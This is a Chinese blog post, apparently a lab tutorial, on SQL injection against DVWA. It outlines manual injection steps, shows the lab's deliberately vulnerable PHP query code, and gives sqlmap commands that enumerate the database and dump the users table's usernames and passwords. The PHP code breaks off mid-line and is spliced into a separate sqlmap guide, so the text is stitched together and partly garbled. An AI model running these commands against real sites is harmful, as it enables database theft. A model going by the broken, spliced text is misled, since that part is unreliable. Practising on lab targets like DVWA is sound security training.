针对DVWA-sql注入写的exp

SQL Injection(sql注入)

介绍

SQL Injection,即SQL注入,是指攻击者通过注入恶意的SQL命令,破坏SQL查询语句的结构,从而达到执行恶意SQL语句的目的。SQL注入漏洞的危害是巨大的,常常会导致整个数据库被“脱裤”,尽管如此,SQL注入仍是现在最常见的Web漏洞之一。

手工注入思路

自动化的注入神器sqlmap固然好用,但还是要掌握一些手工注入的思路,下面简要介绍手工注入(非盲注)的步骤。

  • 1.判断是否存在注入,注入是字符型还是数字型

    2.猜解SQL查询语句中的字段数

    3.确定显示的字段顺序

    4.获取当前数据库

    5.获取数据库中的表

    6.获取表中的字段名

    7.下载数据

Low
<?php

if( isset( $_REQUEST[ 'Submit' ] ) ) {
   
   
   // Get input
   $id = $_REQUEST[ 'id' ];

   // Check database
   $query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
   $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (
### 使用sqlmap对DVWA低级SQL注入进行渗透测试 在使用sqlmap对DVWA的低级SQL注入(Low Level SQL Injection)进行渗透测试时,需要确保正确配置目标URL和相关的Cookies。以下是详细的说明与操作步骤: #### 1. 确定目标URL DVWASQL注入漏洞页面通常位于`/vulnerabilities/sqli/`路径下,目标URL格式如下: ```plaintext http://<DVWA-IP>/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit# ``` 其中,`<DVWA-IP>`为DVWA服务器的IP地址。 #### 2. 设置Cookies 为了绕过DVWA的安全级别限制(如`security=low`),需要提供正确的PHPSESSID和安全级别参数。例如: ```plaintext PHPSESSID=v1d47lav6lot63v45vif84lren; security=low ``` #### 3. 基本命令结构 使用以下基本命令启动sqlmap工具: ```bash sqlmap -u "http://<DVWA-IP>/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="PHPSESSID=<SESSION-ID>; security=low" ``` 此命令中: - `-u`指定目标URL。 - `--cookie`传递必要的会话信息[^1]。 #### 4. 获取数据库信息 可以通过附加参数来获取更多数据库相关信息: - **获取当前数据库名称**: ```bash sqlmap -u "http://<DVWA-IP>/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="PHPSESSID=<SESSION-ID>; security=low" --current-db --batch ``` 此命令将返回当前使用的数据库名称,例如`dvwa`[^3]。 - **枚举所有数据库**: ```bash sqlmap -u "http://<DVWA-IP>/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="PHPSESSID=<SESSION-ID>; security=low" --dbs --batch ``` - **枚举特定数据库中的表**: ```bash sqlmap -u "http://<DVWA-IP>/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="PHPSESSID=<SESSION-ID>; security=low" -D dvwa --tables --batch ``` - **枚举特定表中的列**: ```bash sqlmap -u "http://<DVWA-IP>/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="PHPSESSID=<SESSION-ID>; security=low" -D dvwa -T users --columns --batch ``` - **转储数据**: ```bash sqlmap -u "http://<DVWA-IP>/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="PHPSESSID=<SESSION-ID>; security=low" -D dvwa -T users -C user,password --dump --batch ``` #### 5. 注意事项 - **安全性**:仅在授权的环境中进行渗透测试,避免非法操作。 - **错误抑制**:DVWA可能通过代码修改抑制了MySQL错误信息输出[^4],这可能影响sqlmap的检测效率。在这种情况下,可以尝试布尔盲注或时间盲注模式。 - **布尔盲注**: ```bash sqlmap -u "http://<DVWA-IP>/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie="PHPSESSID=<SESSION-ID>; security=low" --technique=B --batch ``` ### 示例代码 以下是一个完整的sqlmap命令示例: ```bash sqlmap -u "http://172.16.60.233/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="PHPSESSID=v1d47lav6lot63v45vif84lren; security=low" -D dvwa -T users -C user,password --dump --batch ``` ---
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值